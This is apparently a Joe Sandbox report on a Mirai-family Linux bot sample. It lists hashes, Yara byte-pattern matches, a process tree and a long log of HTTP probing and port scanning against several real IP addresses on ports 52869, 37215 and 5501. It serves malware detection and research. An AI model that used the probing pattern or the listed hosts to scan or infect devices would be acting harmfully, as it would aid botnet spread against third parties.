Joe Sandbox Cloud Basic Analysis Report

Loading Joe Sandbox Report ...

Edit tour

Linux Analysis Report
na.elf

Overview

General Information

Sample name:na.elf
Analysis ID:1408384
MD5:5452f854ac98c5d8d836f317e99b7ad2
SHA1:2d1c2375f97a4899188a1ba6988365cee1794087
SHA256:0613f269f2729473638dd3d0091c0868f223c65502c60a302aa3c248c336218b
Tags:elf
Infos:

Detection

Mirai
Score:80
Range:0 - 100
Whitelisted:false

Signatures

Malicious sample detected (through community Yara rule)
Multi AV Scanner detection for submitted file
Yara detected Mirai
Connects to many ports of the same IP (likely port scanning)
Machine Learning detection for sample
Sample is packed with UPX
Uses known network protocols on non-standard ports
Detected TCP or UDP traffic on non-standard ports
ELF contains segments with high entropy indicating compressed/encrypted content
Enumerates processes within the "proc" file system
HTTP GET or POST without a user agent
Sample contains only a LOAD segment without any section mappings
Yara signature match

Classification

Analysis Advice

Some HTTP requests failed (404). It is likely that the sample will exhibit less behavior.

General Information

Joe Sandbox version:40.0.0 Tourmaline
Analysis ID:1408384
Start date and time:2024-03-13 16:24:53 +01:00
Joe Sandbox product:CloudBasic
Overall analysis duration:0h 5m 43s
Hypervisor based Inspection enabled:false
Report type:full
Cookbook file name:defaultlinuxfilecookbook.jbs
Analysis system description:Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:default
Sample name:na.elf
Detection:MAL
Classification:mal80.troj.evad.linELF@0/0@2/0

Warnings

  • Report size exceeded maximum capacity and may have missing network information.
  • VT rate limit hit for: na.elf

Runtime Messages

Command:/tmp/na.elf
PID:5823
Exit Code:0
Exit Code Info:
Killed:False
Standard Output:
god will save us all
[ensure] no dupe
Standard Error:

Process Tree

  • system is lnxubuntu20
  • na.elf (PID: 5823, Parent: 5747, MD5: 5452f854ac98c5d8d836f317e99b7ad2) Arguments: /tmp/na.elf
    • na.elf New Fork (PID: 5824, Parent: 5823)
    • na.elf New Fork (PID: 5825, Parent: 5823)
    • na.elf New Fork (PID: 5826, Parent: 5823)
    • na.elf New Fork (PID: 5827, Parent: 5823)
    • na.elf New Fork (PID: 5829, Parent: 5823)
    • na.elf New Fork (PID: 5830, Parent: 5823)
  • cleanup

Malware Threat Intel

Provided by

NameDescriptionAttributionBlogpost URLsLink
MiraiMirai is one of the first significant botnets targeting exposed networking devices running Linux. Found in August 2016 by MalwareMustDie, its name means "future" in Japanese. Nowadays it targets a wide range of networked embedded devices such as IP cameras, home routers (many vendors involved), and other IoT devices. Since the source code was published on "Hack Forums" many variants of the Mirai family appeared, infecting mostly home networks all around the world.No Attributionhttps://malpedia.caad.fkie.fraunhofer.de/details/elf.mirai

Yara Signatures

Memory Dumps

SourceRuleDescriptionAuthorStrings
5823.1.0000000008048000.0000000008058000.r-x.sdmpJoeSecurity_Mirai_8Yara detected MiraiJoe Security
    5823.1.0000000008048000.0000000008058000.r-x.sdmpLinux_Trojan_Mirai_b14f4c5dunknownunknown
    • 0x2de0:$a: 53 31 DB 8B 4C 24 0C 8B 54 24 08 83 F9 01 76 15 66 8B 02 83 E9 02 25 FF FF 00 00 83 C2 02 01 C3 83 F9 01 77 EB 49 75 05 0F BE 02 01 C3
    5823.1.0000000008048000.0000000008058000.r-x.sdmpLinux_Trojan_Mirai_ae9d0fa6unknownunknown
    • 0x192:$a: 83 EC 04 8A 44 24 18 8B 5C 24 14 88 44 24 03 8A 44 24 10 25 FF 00
    5823.1.0000000008048000.0000000008058000.r-x.sdmpLinux_Trojan_Mirai_389ee3e9unknownunknown
    • 0xa53f:$a: 89 45 00 EB 2C 8B 4B 04 8B 13 8B 7B 18 8B 01 01 02 8B 02 83
    5823.1.0000000008048000.0000000008058000.r-x.sdmpLinux_Trojan_Mirai_cc93863bunknownunknown
    • 0x8d53:$a: C3 57 8B 44 24 0C 8B 4C 24 10 8B 7C 24 08 F3 AA 8B 44 24 08
    Click to see the 1 entries

    Snort Signatures

    ⊘No Snort rule has matched

    Joe Sandbox Signatures

    Click to jump to signature section

    Show All Signature Results

    AV Detection

    barindex
    Multi AV Scanner detection for submitted file
    Source: na.elfReversingLabs: Detection: 47%
    Machine Learning detection for sample
    Source: na.elfJoe Sandbox ML: detected

    Networking

    barindex
    Connects to many ports of the same IP (likely port scanning)
    Source: global trafficTCP traffic: 91.242.165.219 ports 2,5,6,8,9,52869
    Source: global trafficTCP traffic: 185.239.227.171 ports 2,5,6,8,9,52869
    Source: global trafficTCP traffic: 185.241.213.95 ports 2,5,6,8,9,52869
    Source: global trafficTCP traffic: 45.41.91.45 ports 2,5,6,8,9,52869
    Source: global trafficTCP traffic: 91.31.155.242 ports 2,5,6,8,9,52869
    Source: global trafficTCP traffic: 45.246.93.235 ports 2,5,6,8,9,52869
    Uses known network protocols on non-standard ports
    Source: unknownNetwork traffic detected: HTTP traffic on port 46904 -> 5501
    Source: unknownNetwork traffic detected: HTTP traffic on port 52710 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 42726 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 57206 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 49648 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 34322 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 52286 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 52296 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 52710 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 34322 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 52286 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 52296 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 57206 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 42726 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 34322 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 52286 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 52296 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 57206 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 34322 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 52286 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 52296 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 37396 -> 5501
    Source: unknownNetwork traffic detected: HTTP traffic on port 52710 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 57206 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 34322 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 42726 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 52286 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 52296 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 49206 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 49206 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 45052 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 49258 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 49206 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 57206 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 39780 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 34322 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 39796 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 60580 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 42932 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 46810 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 55318 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 42950 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 39796 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 46826 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 58178 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 55318 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 60580 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 42932 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 39796 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 55318 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 42950 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 46810 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 58178 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 47350 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 45052 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 49258 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 39780 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 49206 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 52710 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 40724 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 46826 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 55198 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 55204 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 60580 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 40730 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 42726 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 55318 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 40730 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 52286 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 42932 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 42950 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 52296 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 39796 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 58178 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 46810 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 40730 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 46826 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 40724 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 47350 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 60580 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 34042 -> 5501
    Source: unknownNetwork traffic detected: HTTP traffic on port 56202 -> 5501
    Source: unknownNetwork traffic detected: HTTP traffic on port 56202 -> 5501
    Source: unknownNetwork traffic detected: HTTP traffic on port 55318 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 35926 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 42932 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 41618 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 40730 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 41628 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 56202 -> 5501
    Source: unknownNetwork traffic detected: HTTP traffic on port 58178 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 42950 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 39780 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 49258 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 45052 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 39796 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 60026 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 41628 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 49206 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 46810 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 56202 -> 5501
    Source: unknownNetwork traffic detected: HTTP traffic on port 44540 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 60026 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 46826 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 40724 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 41628 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 35926 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 41618 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 45516 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 47350 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 60026 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 60580 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 57206 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 56202 -> 5501
    Source: unknownNetwork traffic detected: HTTP traffic on port 44540 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 40730 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 34322 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 55318 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 41628 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 60026 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 33206 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 33882 -> 5501
    Source: unknownNetwork traffic detected: HTTP traffic on port 42932 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 41978 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 48776 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 58178 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 41992 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 48790 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 42950 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 41992 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 37404 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 35926 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 48790 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 37408 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 41618 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 41992 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 37404 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 39796 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 37408 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 43874 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 48790 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 57916 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 37406 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 41978 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 43874 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 37404 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 44540 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 45052 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 49258 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 39780 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 37408 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 48776 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 57916 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 46810 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 41992 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 43874 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 37406 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 56202 -> 5501
    Source: unknownNetwork traffic detected: HTTP traffic on port 48790 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 46826 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 57916 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 47272 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 55060 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 41628 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 37404 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 37406 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 51380 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 38840 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 43874 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 47280 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 55068 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 37408 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 49508 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 60026 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 40724 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 49518 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 52296 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 52286 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 47280 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 47350 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 49206 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 53928 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 47280 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 34818 -> 5501
    Source: unknownNetwork traffic detected: HTTP traffic on port 41992 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 41978 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 39144 -> 5501
    Source: unknownNetwork traffic detected: HTTP traffic on port 52710 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 34818 -> 5501
    Source: unknownNetwork traffic detected: HTTP traffic on port 39144 -> 5501
    Source: unknownNetwork traffic detected: HTTP traffic on port 40730 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 57916 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 48776 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 37406 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 51380 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 43874 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 47272 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 53928 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 34818 -> 5501
    Source: unknownNetwork traffic detected: HTTP traffic on port 48790 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 60580 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 42726 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 39144 -> 5501
    Source: unknownNetwork traffic detected: HTTP traffic on port 47280 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 37404 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 37408 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 53928 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 34818 -> 5501
    Source: unknownNetwork traffic detected: HTTP traffic on port 35926 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 41618 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 55318 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 51676 -> 5501
    Source: unknownNetwork traffic detected: HTTP traffic on port 36892 -> 5501
    Source: unknownNetwork traffic detected: HTTP traffic on port 39144 -> 5501
    Source: unknownNetwork traffic detected: HTTP traffic on port 54566 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 33936 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 44540 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 53928 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 44848 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 43184 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 40744 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 51380 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 47272 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 47280 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 34818 -> 5501
    Source: unknownNetwork traffic detected: HTTP traffic on port 43184 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 58178 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 42932 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 37406 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 57916 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 43184 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 43874 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 41992 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 33936 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 42950 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 56202 -> 5501
    Source: unknownNetwork traffic detected: HTTP traffic on port 43184 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 44848 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 39144 -> 5501
    Source: unknownNetwork traffic detected: HTTP traffic on port 48790 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 41978 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 41628 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 60026 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 37404 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 48776 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 37408 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 53928 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 53970 -> 5501
    Source: unknownNetwork traffic detected: HTTP traffic on port 39796 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 58848 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 38554 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 43184 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 38558 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 52676 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 33936 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 34818 -> 5501
    Source: unknownNetwork traffic detected: HTTP traffic on port 38554 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 57118 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 38558 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 44848 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 57118 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 38554 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 49258 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 47280 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 46810 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 45052 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 38558 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 57206 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 39780 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 44224 -> 5501
    Source: unknownNetwork traffic detected: HTTP traffic on port 51380 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 47272 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 53164 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 53168 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 57118 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 59848 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 49380 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 46060 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 46826 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 34322 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 34474 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 49380 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 59848 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 38554 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 46060 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 38558 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 47350 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 40724 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 43184 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 34474 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 37406 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 39144 -> 5501
    Source: unknownNetwork traffic detected: HTTP traffic on port 49380 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 47170 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 57916 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 57118 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 46060 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 55694 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 51032 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 47184 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 59848 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 59464 -> 5501
    Source: unknownNetwork traffic detected: HTTP traffic on port 55694 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 59272 -> 5501
    Source: unknownNetwork traffic detected: HTTP traffic on port 34474 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 35402 -> 5501
    Source: unknownNetwork traffic detected: HTTP traffic on port 55700 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 43260 -> 5501
    Source: unknownNetwork traffic detected: HTTP traffic on port 43874 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 51032 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 47184 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 43260 -> 5501
    Source: unknownNetwork traffic detected: HTTP traffic on port 40730 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 51032 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 43260 -> 5501
    Source: unknownNetwork traffic detected: HTTP traffic on port 33794 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 56714 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 47184 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 46060 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 49380 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 56720 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 51930 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 47430 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 33802 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 47170 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 33936 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 59848 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 41992 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 41618 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 53928 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 34474 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 35926 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 44848 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 35402 -> 5501
    Source: unknownNetwork traffic detected: HTTP traffic on port 47430 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 51930 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 38554 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 38558 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 43260 -> 5501
    Source: unknownNetwork traffic detected: HTTP traffic on port 60580 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 49206 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 44540 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 51032 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 47430 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 51930 -> 37215
    Source: unknownNetwork traffic detected: HTTP traffic on port 57118 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 47184 -> 52869
    Source: unknownNetwork traffic detected: HTTP traffic on port 39794 -> 52869
